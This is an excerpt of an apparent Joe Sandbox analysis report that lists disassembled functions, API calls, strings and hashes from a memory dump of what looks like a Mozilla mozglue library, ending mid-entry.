??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9DB5F4
__Init_thread_footer.LIBCMT ref: 6C9DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9DB61F
std::_Facet_Register.LIBCPMT ref: 6C9DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DB655

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction ID: 32d48d8583099e5c8a6042f720e2bf5664908c77e877ccaaac345255936da4ce
Opcode Fuzzy Hash: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction Fuzzy Hash: B931C771B04204CBCF40DF68D8589AEBBB5FFAE324B250526D902A7740DB30E946CF91

Function 6C979830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9C7ABE), ref: 6C97985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9C7ABE), ref: 6C9798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C979909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C979918
free.MOZGLUE(?), ref: 6C979975

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction ID: 32ce69089bfbd6f602876d1bbafd33761c44e2dd4c24b450ad4fda9e3038a569
Opcode Fuzzy Hash: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction Fuzzy Hash: 3971AC746067068FD725CF28C480A66B7F5FF4A3247254AADD85A8BBA0D731F845CB60

Function 6C97B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE), ref: 6C97B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B896

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction ID: 8c990dbb3facbcaf6f67f5a42b944458520323cee6fab8eee6fc31d121235e54
Opcode Fuzzy Hash: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction Fuzzy Hash: AC519A757052048FCB25CF58C484A6ABBF9FF88318F69859DE99A87341C730EC01CB94

Function 6C9B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B1DDA

Part of subcall function 6C9B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9B1F03
Part of subcall function 6C9B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9B1DF2,00000000,00000000), ref: 6C9B1F0C
Part of subcall function 6C9B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9B1DF4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction ID: 8855405187fffb5104d16c006f7a4c5ef868342132be43da36e1e6d21b779c3a
Opcode Fuzzy Hash: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction Fuzzy Hash: 6D4188B5204704AFCB50CF28C889A56BBF9FFA9314F20442EE95A87B41CB31F854CB94

Function 6C9738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,?,6C973899,?), ref: 6C9738B2
ReleaseSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,6C973899,?), ref: 6C9738C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C973899,?), ref: 6C9738F1
RtlFreeHeap.NTDLL ref: 6C973920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C973899,?), ref: 6C97392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C973899,?), ref: 6C973943
RtlFreeHeap.NTDLL ref: 6C97396E

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction ID: 74eb00ba9bf65c7cf1cdb11925fde1b842c21f0d52fe15ef1bfc42b6249f39af
Opcode Fuzzy Hash: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction Fuzzy Hash: 05212472602B20DFD721DF25C880B96B7B9FF55328F268469D95AA7B10C730F845CBA0

Function 6C9A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85AC

Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A767F
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A7693
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85B2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction ID: 3dcab1c6b04a2347801b14a8a5d75b2a149c0a7dda4c8534bbd5f9ca1ec269c7
Opcode Fuzzy Hash: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction Fuzzy Hash: 5921B2742007419FDB18DB64C888A5AB7B9BF5430DF24082DE99BC3B41DB31F959CB55

Function 6C971640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C971699
VerSetConditionMask.NTDLL ref: 6C9716CB
VerSetConditionMask.NTDLL ref: 6C9716D7
VerSetConditionMask.NTDLL ref: 6C9716DE
VerSetConditionMask.NTDLL ref: 6C9716E5
VerSetConditionMask.NTDLL ref: 6C9716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9716F9

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction ID: 3ba5d2a5828e4d7ff8963ba201be3bd5fbfb3274f1015f64c897bd606ab22139
Opcode Fuzzy Hash: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction Fuzzy Hash: 3621E7B0744308ABFB216A648C45FBB737CDFEAB04F044528F6059B2C0C674DD5487A1

Function 6C9AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction ID: e1879e1a373abe1aa51c9055cfeb1370ac9163b44ab9269262a89e67be4e0c71
Opcode Fuzzy Hash: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction Fuzzy Hash: 5411A775205605AFCB84AF98D8489E5777DFFAA35CB201416EA0583F01DB72E826CBA4

Function 6C971FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C971FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C971FFD
__Init_thread_footer.LIBCMT ref: 6C972011
FreeLibrary.KERNEL32 ref: 6C972059

Strings

CoCreateInstance, xrefs: 6C971FF7
combase.dll, xrefs: 6C971FD9

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction ID: 8f31875d8ca2668301e76d892be7034fafcae000e400072622c81176fbf291f8
Opcode Fuzzy Hash: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction Fuzzy Hash: 9A112C75609204EBDF608F55D84DE6A3B79EFBE359F20402AE90692640CB31D910CEB1

Function 6C970EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C99D9F0,00000000), ref: 6C970F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C970F3C
__Init_thread_footer.LIBCMT ref: 6C970F50
FreeLibrary.KERNEL32(?,6C99D9F0,00000000), ref: 6C970F86

Strings

CoInitializeEx, xrefs: 6C970F36
combase.dll, xrefs: 6C970F18

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction ID: b676c1c2aa88471308af12c15927b2d26d4262a079336ec2b2dc6600965b077b
Opcode Fuzzy Hash: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction Fuzzy Hash: 5A11737460A240DBEF50CF95D908A653778EFBF329F24522AE90592740DB31E415CA65

Function 6C9AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF561

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF585
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C9AF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9AF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C9AF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C9AF499

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction ID: 93a42a3ae3067a7dd972a9743c6cb253c72eab6614be56bdaba885bf3163687f
Opcode Fuzzy Hash: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction Fuzzy Hash: 8EF054756043049FDB406BA5D84CA6A7BBDFFBE29DF204416EA0583701EB76C80587A9

Function 6C9AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction ID: cfd4dcafb69513db6cb2eb419df3cab5a0b87caa47a5c37ff53383c573de23b4
Opcode Fuzzy Hash: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction Fuzzy Hash: E7F0B475204304AFDB406BA4D84CA6A7BBCFFFE29DF200416EA0583711DB36880687A8

Function 6C970E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C970DF8), ref: 6C970E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C970EA1
__Init_thread_footer.LIBCMT ref: 6C970EB5
FreeLibrary.KERNEL32 ref: 6C970EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C970E9B
kernel32.dll, xrefs: 6C970E7D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction ID: cb9c7f8a0f3b5e6c6ec42031fb579f23d5260a6e7eaad4b66fb0197db783d528
